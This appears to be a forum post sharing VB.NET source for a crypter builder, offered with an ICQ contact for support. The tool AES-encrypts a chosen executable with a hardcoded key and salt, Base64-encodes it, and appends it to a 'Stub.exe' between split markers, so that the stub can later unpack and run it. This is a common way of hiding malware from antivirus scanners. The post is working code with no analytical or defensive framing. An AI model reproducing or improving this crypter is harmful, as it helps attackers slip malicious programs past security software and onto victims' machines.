also das is die source

Public Class Form1

Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
OpenFileDialog1.ShowDialog()
TextBox1.Text = OpenFileDialog1.FileName
End Sub

Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
SaveFileDialog1.ShowDialog()
TextBox2.Text = SaveFileDialog1.FileName
End Sub

Private Sub BindingSource1_CurrentChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles BindingSource1.CurrentChanged

End Sub

Private Sub Button4_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button4.Click
MsgBox("Support? ICQ: 26412696")







End Sub

Private Sub Button3_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button3.Click

Dim SaveFile As String = TextBox2.Text
Dim File1 As String = TextBox1.Text
Dim Stub As String = Application.StartupPath & "\Stub.exe"
Dim Key As String = "123key123"
Dim Splitt As String = "123splitt123"
Dim sFile As String
Dim sStub As String

FileOpen(1, (Stub), OpenMode.Binary)
sStub = Space(LOF(1))
FileGet(1, sStub)
FileClose(1)
FileOpen(1, (File1), OpenMode.Binary)
sFile = Space(LOF(1))
FileGet(1, sFile)
FileClose(1)

Dim AesProvider As New Security.Cryptography.RijndaelManaged
Dim btClear() As Byte
Dim btSalt() As Byte = New Byte() {1, 2, 3, 4, 5, 6, 7, 8}
Dim KeyGen As New Security.Cryptography.Rfc2898DeriveBytes(Key, btSalt)

AesProvider.Key = KeyGen.GetBytes(AesProvider.Key.Length)
AesProvider.IV = KeyGen.GetBytes(AesProvider.IV.Length)

Dim MS As New IO.MemoryStream
Dim CS As New Security.Cryptography.CryptoStream(MS, _
AesProvider.CreateEncryptor(), _
Security.Cryptography.CryptoStreamMode.Write)
btClear = System.Text.Encoding.UTF8.GetBytes(sFile)
CS.Write(btClear, 0, btClear.Length)
CS.Close()

sFile = Convert.ToBase64String(MS.ToArray)

FileOpen(1, (SaveFile), OpenMode.Binary)
FilePut(1, sStub)
FilePut(1, Splitt)
FilePut(1, sFile)
FilePut(1, Splitt)
FileClose(1)

Try
Dim SaveFileDialog1 As String = TextBox2.Text 'Der Speicherort
Dim OpenFileDialog1 As String = TextBox1.Text 'Die Datei ansich
FileClose(1)
MsgBox("OK")
Catch ex As Exception
MsgBox("FEHLER: " & ex.Message)
End Try


End Sub

Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load

End Sub
End Class